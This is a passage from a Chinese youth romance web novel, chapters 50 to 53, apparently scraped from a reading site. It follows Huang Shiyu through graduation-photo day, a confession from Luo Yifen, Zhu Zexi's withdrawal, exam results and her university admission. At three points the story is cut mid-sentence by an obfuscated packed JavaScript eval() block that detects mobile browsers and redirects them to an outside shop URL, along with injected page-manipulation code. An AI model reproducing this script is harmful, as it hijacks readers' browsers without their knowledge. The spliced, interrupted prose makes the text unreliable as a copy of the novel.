“好,”吴笙笙爽快地答应,“那到时候还是在2号门见哦!” 得到吴笙笙的答复后,黄时雨立刻拿出纸笔,先把要送毕业礼物的名单给列了出来—— 吴笙笙、祝则溪、齐章年、罗亦芃、赵然、卜佳、黎果…… 紧接着又打开小红书,认真地为挑选毕业礼物提前做攻略。 黄时雨想要准备一份普适性强、又有独特意义的礼物,思来想去,最终选择用扭扭棒做一束花,再给每个人配上内容不同的明信片。 黄时雨立刻把这个想法告诉了吴笙笙,“你觉得怎么样,可行不?” “可以啊,一般那种文具店或者精品店就有卖扭扭棒的,到时候我们可以进去挑一挑。” 天气预报说从第二天上午开始就是阴天,结果一直等到中午,还是烈日当空照,一点也没有收敛的意思。 黄爸爸吃完饭要赶紧回公司,所有锅碗瓢盆的清洗任务就全部落到了黄时雨的肩上。 还好餐具不多,黄时雨快速收拾好厨房,在帕子上把手擦干,一看时间才过了十五分钟。 距离约定的时间还早,黄时雨伸了个懒腰,往沙发上一躺,整个人陷进了沙发柔柔软软的怀抱里。 迷迷糊糊睡到一点半,黄时雨才起身换好衣服,穿上防晒服,坐上公交车前往商场。 公交车里冷气开得很足,人又少,黄时雨的双腿被冻得起鸡皮疙瘩,像掉进了冰窟窿,她只好把防晒服脱下来搭在腿上,才能努力保持一点温暖。 “我到啦!” 公交车直达商场2号门门口,黄时雨从车上下来,一眼就注意到了站在门口朝公交站台这边张望的吴笙笙。 “等多久了?” 黄时雨用手指轻轻梳理了一下刘海,伸手挽住吴笙笙的胳膊往里走。 “刚到几分钟,而且我刚刚还碰到赵然了。” “啊?” 黄时雨有点惊讶,毕竟按照这个时间来说,赵然应该正在帮家里茶楼招呼客人才对,“难道她也来挑毕业礼物?” “不知道……” 吴笙笙话还没说完,在杂货铺门口,黄时雨和吴笙笙就碰到了正在里面积极挑选毕业礼物的赵然。 毕竟满城拢共就这么一个大商圈,转来转去碰到熟人的概率特别高。 “小赵姐!” 黄时雨一个箭步跑到小赵姐身边,一个拍肩给人家吓了一跳。 “我的妈呀,吓我一跳,”发现黄时雨的视线正落在自己挑礼物的手上,小赵姐立刻收回手,两臂交叉抱在胸前,“我来挑毕业礼物的,不过现在嘛,还不能让你知道!” 黄时雨立马捂住眼睛退后一步,“好的小赵姐,我什么都没看到哦。” 小赵姐轻轻拉下黄时雨的手,她慢慢凑近,脸上那副八卦的表情总让黄时雨感觉气氛有些微妙。 “对了,”小赵姐环顾四周,确定没有其他同学后,才压低声音说,“祝则溪是不是要跟你表白啊?” 黄时雨的瞳孔瞬间放大,木讷的脸上只有两只眼睛还在眨巴。 什么意思? 她为什么会问这个? 吴笙笙先是早有预感地点头,然后又立刻摇头,“我觉得拍毕业照那天有可能,但是可能性不大。” 吴笙笙跟赵然相视一笑,不约而同地发出一声颇有深意的“噢”。 “不是,你们俩噢什么,”黄时雨的眼睛在两人之前来回移动,无奈地叹气,“你们想什么呢!” 赵然无可奈何地摇头,搬出她常年看言情小说的经验一点一点跟黄时雨详细分析,“根据我多年看小说的经验,祝则溪看你的眼神,包括跟你说话的语气、状态,都跟别人不一样,这种在小说里就叫‘偏爱’,懂不懂?” 黄时雨很无奈,“小说是小说,现实是现实好不好。” 赵然笃定地继续说下去,“不不不,我来给你分析分析——” “首先,高二的新年晚会,祝则溪是第一次参加,也是第一次主动当工作人员对不对,当时是我们报上去了人员名单后,人家祝则溪因为你要参加,才主动报名的;其次,辩论赛那次,人家毫无辩论经验,主动担当三辩重任,就因为你是四辩,而且看电影的时候,你知道为什么我们的票要分开坐吗,不是没买到,而是祝则溪主动跟我说让我把你们俩的票买在一起,难道这些还不够说明问题吗?” 黄时雨惊讶地愣在原地,视线转向吴笙笙时,才发现两人的发懵状态几乎完全一致。 “所以,他99%会跟你表白,如果没有,你就当我没说,但是应该不会有这个可能,”小赵姐完全不理会身边两个人的震惊,把自己知道的所有真相一股脑儿全部说了出来。 黄时雨的大脑经不住这样的暴击,半晌才懵懵地吐出一个“噢”字。 她的思绪也随之开始倒带—— 祝则溪毫不犹豫,一口答应帮自己完成黑板报绘画;在吴笙笙给他看自己跳舞照片时,不由分说地表达赞美;在十七岁生日时送给自己近乎完美的超厚立体书;在给她过十八岁生日时,在黑暗中主动握住自己的手…… 一桩桩,一件件,好像都在无形之中印证小赵姐的说辞。 那些黄时雨曾经从没想过的方向,就这样突然摆在她面前,好感、喜欢、爱、表白……这些词汇来得太突然,像给黄时雨的脑袋上罩了一张鼓,任凭外界怎么敲打,黄时雨都听不真切,也想不明白。 他,喜欢我吗? 黄时雨也不知道这个问题的答案,至少现在还不知道。 小赵姐见目的达成,勾起嘴角,在转身去结账之前轻轻拍了拍黄时雨的肩膀,“做好准备吧。” 做、好、准、备? 算了,先别想那么多了,不管怎么说,兵来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828693|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将挡,水来土掩。黄时雨一时半会儿也理不清这里面的关系,还是决定拉着吴笙笙继续按照原计划挑选毕业礼物。 买好扭扭棒、包装纸和明信片,黄时雨才跟吴笙笙道别。 回到家,黄时雨把所有材料往桌上一堆,又拿来剪刀和胶棒,把头发高高地扎起来,投身于制作毕业礼物的大事中。 黄爸爸和黄妈妈也从沙发上围了过来,坐在旁边帮着黄时雨一起制作。 不过这些东西对他们来说还是太新潮了,黄时雨一边制作,还得一遍一遍一步一步地教他们,效率不仅没提起来,反而有降低的趋势。 “苗苗,这个蝴蝶结怎么系啊?” 黄爸爸又又又忘记了,对着带子比划了半天也没整明白。 “我再教最后一遍啊,”黄时雨咬牙切齿,“先这样系过来,然后把多余的部分剪掉,最后拉紧,扯出一个好看的形状就可以了。” 黄时雨一步一步教得很慢,生怕黄曲山先生没看清楚。 “噢我懂了,”黄爸爸一拍脑门,“学会了。” “苗苗,这些礼物都要送给哪些人啊?” 黄时雨朝妈妈眨眨眼,“你猜一下?” 黄爸爸率先回答,“肯定有吴笙笙,可能还有那个什么一班的罗亦芃,是不是?” 黄时雨很满意,“嗯,还有吗?” “是不是还有赵然,可能还有你之前的那几个室友,你说相处得挺好的。” 黄时雨猛猛点头,“对对对,差不多就是这些人了。” 三个人在餐桌上捣鼓了好几个小时,终于全部制作完成,并按照一束花一张明信片的格式放到了不同的礼品袋里,并在袋子表面用便利贴写上了不同的人名以防拿错。 毕业照的拍摄时间是上午九点,黄时雨洗完澡,坐在床边定了一个早上七点的闹钟。 毕竟是要拍照合影的,还是得提前起来简单收拾一下才行。 “诶,对面那个男生怎么还没睡啊,还在学习吗,都高考结束了,不至于吧?” 黄时雨起身拉窗帘的时候,竟然奇怪地发现对面那间屋子里的台灯还亮着,那个男生似乎正坐在书桌前整理什么东西。他的动作又轻又慢,好像对手里的东西很宝贝似的。 “难道也在准备毕业礼物?” 黄时雨第一次如此没有负担地在站窗边看了一会儿,隔在窗帘背后影影绰绰的人影,黄时雨看来看去,总有一种似曾相识的感觉。 躺在床上,黄时雨一直不停地翻身,这还是她高考之后第一次失眠。 她的脑子里总是不断回忆起小赵姐今天说的那些话。 人们都说“当局者迷,旁观者清”,黄时雨虽然是这些事件的亲历者,但突然要让自己去回忆其中具体的某个细节,还真不一定想得起,更不要说还要从中分析出祝则溪的感情倾向。 黄时雨睁眼盯着天花板发呆,一种不知道是喜悦还是难过的情绪涌上心头。 她把被子扯上来,整个人钻了进去。夜深人静,可黄时雨的心情却无法平静,相比于一直思考小赵姐分析得到底靠不靠谱,她的心里正在思考着另一个更加重要的问题的答案—— “如果他明天真的跟我表白了,我要同意吗?” 51. 第五十一次招惹 七点整,闹钟准时响起。 黄时雨立刻起身,跳下床直接钻进浴室开始洗漱。 为了能够美美地上镜,昨天晚上,在黄时雨的软磨硬泡下,妈妈终于同意吃完早饭之后,抽出二十分钟时间,给黄时雨简单化一个淡妆。 为了节约时间,黄时雨吃饭的速度从来没有像今天这样快过。 风卷残云般吃过早饭,黄时雨乖乖地坐到化妆镜前,一看时间才才七点四十五。 黄妈妈的化妆桌上堆着满满当当的化妆品,各种配色的眼影盘、腮红盘、修容盘都应有尽有,全部被叠放得整整齐齐,好多化妆品打开之后发现里面一点使用痕迹都没有。特别是口红,黄时雨只是粗略地数了数,就有不少于二十根。 还有好多黄时雨根本叫不出名字的花花绿绿的东西。看来看去,黄时雨的目光最终被一盘彩色眼影盘吸引了,配色看起来很像美术生用的调色盘,只不过压盘更紧实一些。 “别动啊,别动……” 黄妈妈先给黄时雨均匀地抹上了防晒霜和妆前乳,然后拿起一个桌面小风扇对着黄时雨的脸吹。 黄时雨虽然不明白这一步有什么作用,但还是主打一个吹捧,“妈妈,你现在化妆技术这么好,是几岁开始化妆的啊?” 黄妈妈手上动作不停,“大一还是大二吧,记不清了。” 黄妈妈化妆的手速很快,粉底液挤在手心里,用海绵蛋轻轻在脸上铺开,再用散粉定妆,接着用大地色眼影简单给眼皮打个底,扫上腮红,最后用豆沙色唇泥一抹,一个日常淡妆就顺利搞定了。 黄时雨睁开眼,忍不住凑到镜子面前自顾自地欣赏自己化完妆后的美貌,黄妈妈趁机拿起手机在旁边连续“咔”了好几张照片,每张都精心找好了角度,“这张拍得不错,我来发个朋友圈。” “我看看,”黄爸爸听到两人的交谈,也忍不住钻到房间里来凑热闹,看到第一次化好妆的黄时雨一脸欣喜,“哎呀,好漂亮,一大一小,都是大美女了!” 黄时雨得意得给爸爸妈妈做了一个飞吻,拿上给朋友们准备的毕业礼物,在门口做了一个“请”的手势,“走吧,今日的摄影师黄曲山先生,感谢你在百忙之中抽出时间做我的毕业照御用摄影师!” 到达学校,校门口站满了自由自在、谈天说地的学生,跟半个月前来来往往都急匆匆的样子完全不同,大家第一次可以悠闲地靠在校门上,看看天空,吹吹风,跟身边的同学随意聊聊,用眼睛记录下这平静而又幸福的一天,因为不用急着追逐什么,所以一切都可以慢下来。 黄时雨还算来得早的,毕竟还有班长的职责在身,还要最后一次帮同学们整理队伍,站好最后一班岗。 黄时雨朝爸爸比了一个手势,黄爸爸为了不影响同学们拍大合照,自觉地站到了花坛后面。 “来,同学们,我们要站成五排,女生在前,男生在后,”黄时雨先定好中间位置的同学,“中间最高,越到两边越矮,大家站的时候跟旁边的人比一下,不然拍出来的照片不好看!” 黄时雨的指令严谨,表达准确,同学们很快就各自找准了自己的位置。 “高三三班的同学,过来拍毕业照!” 黄时雨伸手招呼同学们按照队形站上阶梯,自己又走到摄影师旁边,按照摄影师的要求调整了几个同学的站位,确认队形准确无误后,才站到自己对应的位置上。 老师们依次坐到前面的椅子上。 “来,看这里,三,二,一!” 黄时雨露出自己的招牌笑容。 摄影师连续拍了好几张才停下。 “好了,”摄影师取下相机,仔细查看了一下拍摄成果,朝同学们点了点头,“好了,来,四班的同学过来!” 大合影结束,黄时雨就即刻开启了自己的“私人合影计划”。 她拉着自己的御用摄影师爸爸跟朋友们到处合影,随机刷新在校门口、操场、宿舍门口、篮球场、教室等校园的各个角落,黄爸爸也很耐心,抱着相机大汗淋漓地跟在黄时雨身后兢兢业业地跟拍,毫无怨言。 校园里到处都是人,学生,老师,家长都可以进来,大家在校园的各个角落合影留念,那些曾经一度被封印在高三教学楼里的学生们,突然全部解除封印,被分散到校园的各个角落,就好像大家即将踏上不同的人生道路,成为天空中散落的星星。 这个朝夕相伴的校园,竟然也即将被封存在记忆里,在大幕合上的最后一刻,谁都想再多看一眼。 跟朋友们合影结束后,黄时雨去后备箱把提前准备好的毕业礼物拿了过来,她按照便利贴上的名字把礼物一个一个送到朋友们手中—— “笙笙,送你的礼物!” “卜佳!” “小赵姐!” “黎果!” 黄时雨把礼物一件一件送到她们手中,热情地跟她们拥抱在一起,彼此诉说着对未来的美好期许。这一刻,黄时雨才真正理解了老赵那句话——“每个人心中都有一个不可战胜的夏天”。 黄爸爸一直拿着相机,跟黄时雨保持着一个合适的距离,他站在一小段距离外,自己不上前打扰,只是认真地记录下这些美好的瞬间。 黄时雨找了一圈,手上还剩下最后三个袋子,分别是给祝则溪、齐章年和罗亦芃的。 奇怪,这三个人该不会拍完照就走了吧?! 黄爸爸的手机突然毫无预兆地响起,他看到来电显示时突然愣了一下,接电话的声音也明显有些紧张,“喂,怎么了?” 黄时雨的心里突然冒出一些不好的想法。 这通电话很快就挂断了,但黄爸爸脸上的紧张感却不降反增。 黄时雨疑问的话还没说出口,就被爸爸抢先一步—— “苗苗,爸爸突然有事要去一趟公司,”黄爸爸手机放回口袋里,一脸歉意地跟黄时雨解释,“后面的照片确实给你拍不了了,你自己用手机跟同学们合影好不好,爸爸先走了啊!” 黄时雨刚答应下来,还没来得及问是怎么回事,黄爸爸就急匆匆地往校门外走去。 她看着爸爸着急的背影,在心里反复默念:一定要顺顺利利啊。 “黄时雨!” “嗯?” 听到有人叫自己的名字,黄时雨在树荫下转过身。 罗亦芃穿着蓝白相间的格子衬衫,浅蓝色牛仔裤,怀里抱着一大束粉色玫瑰花,他的步伐坚定而自信,被阳光包裹着,在距离黄时雨三米左右的地方停了下来。 黄时雨微微眯起眼睛,搞不懂他葫芦里到底卖的什么药。 他清了清嗓子,捧着鲜花继续往前走,直到近得占据了黄时雨的整个视野。 有微风吹过,光影摇曳,树叶间漏下的光斑在两人身上游走,黄时雨大概猜到了罗亦芃要做什么。 ——他要表白。 “黄时雨,”罗亦芃轻轻开口,像是鼓足了勇气,“也许今天这些话会让你觉得惊讶,但我确实想说很久了,因为不知道从什么时候开始,我对你的感情忽然变得有些不一样了。” “我会很关心你的动态,很想知道你在干什么,有什么样的心情,是否开心,有没有什么烦恼……” “你可能发现了,我总是很喜欢逗你玩,”罗亦芃无奈地扯了扯嘴角,“那是因为这样可以掩盖住我的紧张,让我能跟你自然地相处,希望你不要介意。” 罗亦芃的视线始终直勾勾地盯着黄时雨的眼睛,好像想从她的眼睛里找到答案。 他深吸一口气,尽量用自然的语气问出最后这句话—— “所以,你愿意跟我在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祝则溪努力克制住自己的情绪,但声音里带的哭腔根本掩饰不住,“真的!” “那你的这些礼物呢?!” 齐章年见祝则溪不回答,就把手上的礼物一件一件地打开,每一份礼物都有精致的包装,完美的蝴蝶结。 ——“这个石膏娃娃,是你初一准备的生日礼物对吧,你说画了很久。” 齐章年的语速不断加快,他必须要让祝则溪实话实说,承认他的真实想法,他根本就不想只当一个普通路人,甚至是普通朋友。 “这个胸针,是你初二给黄时雨准备的生日礼物,攒了很久的钱,你以为我不知道吗?” “这个珍珠发箍,是初三那年正流行的时候,你一颗一颗拼成的,还做了两个版本,这是其中更好看的那一个……” 齐章年一脸严肃地戳破祝则溪的内心,一字一顿地强迫祝则溪说出实话,“祝则溪,我问你,这些都是一个普通路人会做的事吗?” 祝则溪几乎不敢直视他的眼睛,他从来没想过自己会面临这样的处境,这么多年来,也从来没想过自己要去争取些什么。 “不是,”祝则溪叹气,“但那是因为我变了,我从只想看着她,变成了想认识她,想跟她成为好朋友,甚至……甚至想在今天变成她男朋友,如果我不奢求这么多的话,也不会像现在这样难过的。” 祝则溪伸手抹了一把脸上的泪痕,却始终没有抬头的勇气,他从齐章年手里拿过礼物,脚步不再犹豫,转身往教室走。 齐章年在后面跟着他。 月季花被清风拂过,发出枝叶相撞的声音。 只是今天跟那天晚上,完全不一样了。 52. 第五十二次招惹 和罗亦芃合影结束后,黄时雨又辗转地点进入教室。 教室里剩下的同学不多,黄时雨每一位同学都不放过,跟他们彼此都留下了最珍贵的毕业合影。 和好朋友们用手机简单记录了几张合影后,黄时雨刚走出教室,刚好在走廊上碰到了正准备抬腿迈进一班教室的齐章年。 “齐章年齐章年,这个是送给你的毕业礼物,”黄时雨挡在齐章年面前,生怕一眨眼又找不着人了,从背后拿出礼物袋递给他,“给。” “谢谢,”齐章年礼貌地接过礼物,看向黄时雨的眼神透露出一种极其复杂的情绪,黄时雨一时间还读不明白。 但她敏锐地发现了齐章年的异样,主动上前询问,“怎么了吗?” 齐章年张张嘴,最后却只是叹了口气,什么也没说,站到旁边给黄时雨让出一条往外走的路。 “没什么。” “那祝则溪呢,我今天一直没看到他,他已经走了吗?” 黄时雨的语气还是那样热情自然,听不出跟平时有什么区别,齐章年如实地摇头,声音比之前又低了几分,“还没有,这样,我把你给他的礼物也一起带给他吧。” 齐章年这句话抢在了黄时雨之前,黄时雨那句“他现在在哪”还没来得及说出口,就被死死堵在了嘴边。 黄时雨只好顺着他的话继续往下说,“好吧,那就麻烦你了。” “没事,”齐章年冲黄时雨点点头,也不再多说什么。 黄时雨望着齐章年走进教室的背影,总感觉哪里怪怪的—— 祝则溪心情不好吗,为什么不愿意见我?还有,齐章年今天为什么也这么冷漠? 黄时雨带着疑惑的心情拖着腿往校门口走,她的目光总是有意无意地搜寻着祝则溪的身影,明明只是小小的一个校园,以前不管在哪里,在做什么,目光之余总能随随便便就看到他,可是现在怎么连专门找都找不到了呢? 校园里依然人头攒动,毕业生们似乎还没有要从这场大戏中退场的打算。 “怎么样啊黄时雨,今天有没有发生什么呀?” 小赵姐像一个在路边等候多时的猎豹一样,一见到黄时雨就扑了上来。 黄时雨只抬头轻描淡写地看了一眼小赵姐,眼皮就仿佛承受了千斤重似的直接垂下去,无精打采地摇摇头,“没有,别说表白了,我到现在连祝则溪的面都没见着。” “啊?” 小赵姐的音量陡然提高,吓得黄时雨赶紧捂住她的嘴。 “哎呀,”小赵姐把黄时雨的手拿开,发出一连串的疑问,“他没跟你见面?也没送你毕业礼物?更没跟你表白?!” 黄时雨的视线正对上小赵姐那双震惊的眼睛,她对小赵姐的推测不置可否,“是的,所以你猜错了。” “不可能,”小赵姐伸出手指在黄时雨面前晃了晃,托着下巴做思考状,“我的推断不可能有错,如果他今天没表白,只有可能是这一个原因。” 黄时雨将信将疑地看着她,示意她继续往下说。 ——“那就是,他不敢。” 不敢?! 黄时雨想了无数种原因,还是第一次想到这一点。 “真的吗,你别是乱说的吧?” “真的真的,你想啊,喜欢一个人哪有那么容易说出来,他可能是害怕你拒绝他才不敢说的。” “但是他不说的话,怎么知道我会不会拒绝他呢?” 黄时雨实在无法接受这个离谱的理由。 小赵姐被黄时雨这句突如其来的反问噎住,她皱着眉头思考了好一会儿,最终还是无奈地摊手,“那我就不知道了,这个问题嘛,确实有点超出我的阅读量了,在我看过的这么多言情小说里,还没见过这种人设的。” 连小赵姐都解决不了的感情问题,黄时雨更是没辙。 刚坐公交车回到家,黄时雨的手机上就收到了爸爸发来的微信——“到家了吗,苗苗,你先吃点零食,爸爸等下就回来了啊。” 黄时雨发送了一条语音,“爸爸,我刚到,现在还不是很饿。” 黄时雨拿起餐桌上的空调遥控器,打开了客厅空调,然后躺到沙发上盯着跟祝则溪的聊天界面发呆。 聊天界面已经很久没有更新过了,毕竟大多数时候都是依靠见面或者是在群里沟通的。 要不要问问他的情况呢。 要? 不要? 黄时雨头都大了,这简直比写三套数学卷子还要复杂啊! “祝则溪,你有看我送给你的毕业礼物吗?” 黄时雨字斟句酌,删删改改了好几遍才发出去。 每次发完消息,黄时雨都不会立刻退出聊天界面。因为她知道,对方不会让她等太久。 可是这一次,一直到爸爸回家做饭,黄时雨都没有等到祝则溪的回复,连那句“对方正在输入中”都没有显示。 祝则溪把自己一个人关在窗帘紧闭的卧室里,手机被随意扔在了外面客厅的沙发上,不管听到了多少次消息提示音,都始终不敢再往外走出一步。 他宁愿像只鸵鸟一样把头埋进沙子里,也不愿意看到那个可能已经被许多人祝福过的“般配情侣”,因为他既做不到祝福,也做不到憎恶,凭他的身份来说,或许有幸相识就已经是最大的荣幸。 “罗亦芃也是一个很好的人,对于黄时雨来说是一个非常好的选择,”祝则溪蜷缩在被子里,从中午到现在,他已经麻木到流不出任何泪水了,“我应该……替她开心才对。” 这几句独白,既像是在告诫此刻的自己,又像是在回答曾经的自己——祝则溪和黄时雨的故事,将永远被困在难以逾越的友情牢笼中,永远成为他青春期里的秘密。 吃饭的时候,黄时雨依然是一副闷闷不乐的样子,筷子在碗里戳来戳去,把米饭都捅成了蜂窝煤,但还是吃不到嘴里去。 “苗苗,你心情不好?” 黄爸爸很快发现了黄时雨的异样,凑近一点温和开口。 黄时雨也不反驳,“对啊,我好像得罪了一个朋友,但是我没找到原因。” 黄爸爸夹菜的手在空中顿住,像听到了什么新鲜事一样,“这倒很少听你说,之前从来没听你说过跟朋友的相处问题啊,那爸爸可以问一下,是哪个朋友吗,笙笙?” 黄时雨立刻摇头,“不是笙笙,是祝则溪,就是之前帮我从宿舍搬行李,后面那次看完电影跟我一起出来的那个男生。” “噢,”黄爸爸似乎有点印象,“我记得那个男生,不过看起来他脾气性格挺好的啊,还是说你做了什么特别不好的事情?” 黄时雨皱着眉头把前前后后所有事情都理了一遍,然后得出结论——“想不出来,我感觉没有。” “这就奇怪了哈,”黄爸爸一向是很相信黄时雨的,“那你要不直接发消息问问他?” “我问了啊,”黄时雨把聊天界面举到爸爸面前,“你看,也不回复我。” “爸爸,你说他会不会讨厌我了?” 黄时雨说话的声音越来越小,到最后竟然控制不住地染上了哭腔。 她特别害怕祝则溪真的因为什么事情再也不理她了,更害怕自己连问题出在哪里都不知道就被莫名其妙地判了死罪。 黄爸爸见状立刻放下筷子,伸手帮黄时雨擦掉她脸上的泪痕,“哎哟,别这么悲观嘛,也许他只是一时心情不好,过几天就好了啊,别想太多了。” “好,”黄时雨好不容易收起眼泪,继续埋头吃饭。 吃完午饭,黄时雨把厨房收拾干净,才再一次拿起手机,手机屏幕上那条来自祝则溪的消息让黄时雨差点激动地忍不住跳起来。 她慌忙点进去,还没看清对方发了什么内容,就被撤回了。 对方正在输入中…… 好吧,不急。 ——“我很喜欢,谢谢,祝你毕业快乐!” 简短的几个字,完成了对黄时雨提出的问题的回答。 黄时雨还想再说些什么,却将手指放在键盘上停滞不前,一行行字删删改改,最后只留下了几个字,官方、正式、笼统,像群发内容一样—— “不客气,也祝你天天开心。” 至此,两人的对话框陷入了永久沉寂。 黄时雨每天还是按部就班地生活,买菜、洗碗、打扫卫生,偶尔找吴笙笙出来逛逛街、吃吃饭,平平淡淡的生活就这样一路进展到了6月23日。 6月23日,对满城的高三学生来说,是一个彻底的不眠之夜。 黄时雨这几天的心跳总是特别快,像是知道有什么大事要发生一样,尽管已经一遍一遍告诉自己,不论好坏都是结果,但还是止不住地往坏处想。 高考成绩是晚上十点出来,黄时雨一家决定吃完晚饭先出门散步,等回到家直接迎接这个神圣的结果。 黄时雨走在江边像一具行尸走肉一般,看似人还在,实则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黄时雨直接一通电话打过去,听到对面吴笙笙无可奈何的一声叹气,“没有啊,我们家这台电脑太卡了,我现在连查分界面一次都没进去过。” “没事没事,你再等等,再等一下人会少一些。” “诶进去了进去了,”还没等黄时雨把话说完,吴笙笙那边就已经叫了起来,“我查到了!” 黄时雨很少见到如此兴奋的吴笙笙,看来高分没跑了。 “多少多少?” “652!” “我的天哪,笙笙,你怎么这么厉害,”听到吴笙笙拿到高分,黄时雨的声音都忍不住哽咽了,“你学人工智能专业稳了!” “应该是的,”吴笙笙从单纯的兴奋状态中抽离出来,她吸了吸鼻子,才勉强用颤抖着的喉咙继续往下说,“我终于要逃离这个家了!” “对,”黄时雨也有点想哭,在那个所谓的重男轻女家庭里生活了这么多年的吴笙笙终于可以有机会离开,飞向更广阔的天地了,这一天虽然等得久了些,但好在终于等到了。 “恭喜!” 黄时雨想,在此刻,没有任何词语比这两个字更有分量了。 黄时雨把自己的成绩也告诉了吴笙笙后就挂断了电话,家里三个人各自拿着手机跟别人通话,无一例外,每一通电话都是来关心黄时雨的高考成绩的。 “没有没有,你们家孩子才优秀呢!” “心意我们领了,转账就不收了。” “孩子努力了就行,我们也很欣慰。” 爸爸妈妈在客厅里打电话的声音还不小,黄时雨听来听去,发现家里大人不管跟谁打电话,反复就是这几句话翻来覆去说,先感谢,后谦虚,最后提出希望和祝福。 黄时雨点开微信,跟每一个好朋友都发了一样的关心高考成绩的内容,大部分都回复得很快,黄时雨也会简单地再跟他们聊上一会儿。 突然,“一中小分队”群聊里有人发言。 祝则溪:大家都查到成绩了吗,是不是都考得挺好的? 齐章年几乎是秒回,“查到了,跟我预想的差不多,应该能上新美。” 随即吴笙笙也回复,“我也查到了,发挥得不错,我很满意。” 黄时雨的手指在对话框中犹豫不决,她不知道自己该不该回答祝则溪的问题,也不知道毕业照那天他究竟是因为生气了还是仅仅只是因为心情不好,所有这些问题都积压在黄时雨的心口,让黄时雨现在有点难以把握和祝则溪的相处方式。 犹豫再三,黄时雨还是如实说出了自己的成绩,“我考了638分。” 祝则溪:好厉害,祝贺! 齐章年:太强了吧黄时雨,那你俩都能上津南大学了,我俩应该能上新美。 黄时雨及时纠正,“是恭喜我们四个啦,梦想成真,心想事成!” 53. 第五十三次招惹 填报志愿结束后,黄时雨每天起床的第一件事就是打开电脑查看录取结果。 “一直都是未查询到录取结果,今天总该不一样了吧,”黄时雨虽然嘴上这么说,但实际上并没有抱太大希望,都说满城这边的录取结果出得晚,现在看来真是名副其实。 电脑网页开始转圈…… 突然在屏幕中央显示出录取结果! 黄时雨定睛一看,短短一秒的沉默后,取而代之的是兴奋的尖叫声,那声音像是要把房顶掀翻—— “啊啊啊啊津南大学社会学!我录取啦!” 这么重大的好消息一定要第一时间分享给爸爸妈妈,黄时雨用手机拍下照片发过去,什么多余的话都没有说,因为她想听到的是来自爸爸妈妈多多益善的夸奖。 果然,刚发过去不到一分钟,爸爸妈妈的语音条就发过来了。 黄时雨也不急着听,转头就问吴笙笙的录取结果,毕竟是同一所学校,理论上来讲,应该也能看到了吧。 “笙笙,可以查录取结果了,你快去看看!” “啊?” 吴笙笙立刻撂下了厨房里的碗转身返回卧室,碗磕到灶台边清脆的响声清晰可闻。 “有了吗?” “还在转圈,我还在等。” 电话两头,是两个人的屏气凝神。 “有了有了,人工智能专业,我录取了!” 吴笙笙努力压制住自己语气里的喜悦,但黄时雨似乎比她还要兴奋,她立刻开始盘算起大一新生开学报道要准备的物品—— “那我们又是校友了诶,到时候我们一起坐飞机过去,”黄时雨情绪激动地开始为吴笙笙普及新生必备好物,“笙笙,我这几天刷小红书看到了好多大一新生开学好物推荐,我分享给你,到时候买好了可以提前寄到学校快递站!” 吴笙笙也完全没有要打断她的意思,在她的每一句话之后都表示肯定和认同,于是这通电话在黄时雨单方面持续输出了二十分钟之后才结束。 电话刚挂断,黄时雨的手指鬼使神差地又点到了跟祝则溪的聊天界面中。 要不……把这件喜事也分享给他吧? 说干就干。 黄时雨在对话框中添加图片,然后点击发送后,就做好了要开始漫长等待的准备。 可没想到的是,祝则溪这次回复得特别快,“恭喜恭喜,苗苗。” 苗苗?! 黄时雨再次看到这个称呼时都有些恍惚了,明明身边这么多人都这样叫过她,甚至爸爸妈妈天天这样叫,可从祝则溪的嘴里说出来,好像已经是很久很久以前的事了。 这是不是说明,我们已经和好了? 黄时雨对自己这个想法莫名肯定,“对,绝对是。” ——“小祝同学,你的录取结果出来了吗?” “还没有,我刚刚查了,还是空白的。” 眼看着这段对话好像要在这里中断了,黄时雨不想这次交流就这样短暂结束,立刻开始找寻新的聊天话题。 “祝则溪,那你八月份打算做什么呢?” 发出去之后,黄时雨才后知后觉地反应过来这个问题有多么的突兀,多么的生硬。 啊不管了,说出去的话就像泼出去的水! 对方正在输入中…… “应该就是待在家,按照往年的惯例,新美每年新生报道都比较早,所以可以提前准备一下生活用品。” “你呢?” 黄时雨秒回:“可能要出去旅游吧,跟我爸妈一起。” 祝则溪又像往常一样发来一个可爱的小熊敬礼表情包,黄时雨随即也发了一个同款表情过去。 现在的关系应该算正常了吧,黄时雨拿着手机靠在沙发上,来来回回拉动界面反复评析这段对话,看上去,不管是他的语气还是表情都跟以前如出一辙,找不出有什么异常。 确认无误,黄时雨这才如释重负地放下手机。 高三毕业这个暑假,七月,黄时雨在家包揽了一整个月的家务活;八月,跟爸爸妈妈去其他城市玩了两圈,期间发过几次朋友圈,跟好朋友们聊过几次,这段最轻松无压力的暑假时光就这样悄悄溜走了。 没有压力纯休息的暑假就是舒服,黄时雨看着一天一天逼近的报道时间又兴奋又紧张—— “大学生活会是什么样子的呢?” “会不会碰到不好相处的室友?” “课会不会特别难,会不会挂科?” “万一想家了怎么办?” 纵使心里有些忐忑不安,黄时雨对大学生活的向往还是占据了更多。 黄爸爸和黄妈妈因为工作原因都没办法耽误两三天的时间送黄时雨去大学报到,所以早早帮她订好了机票,并把大部分生活用品提前寄到了学校快递站。 等到真正要出发那天,黄时雨的全部行李就只剩下一个小行李箱了。 满城是没有机场的,黄时雨得先坐高铁去隔壁通林市,再从通林市坐飞机去津南。 高铁票是早上八点半的,黄时雨已经很久没有这么早起过床了。 “苗苗,动作快一点哈,别错过高铁了!” “来啦!” 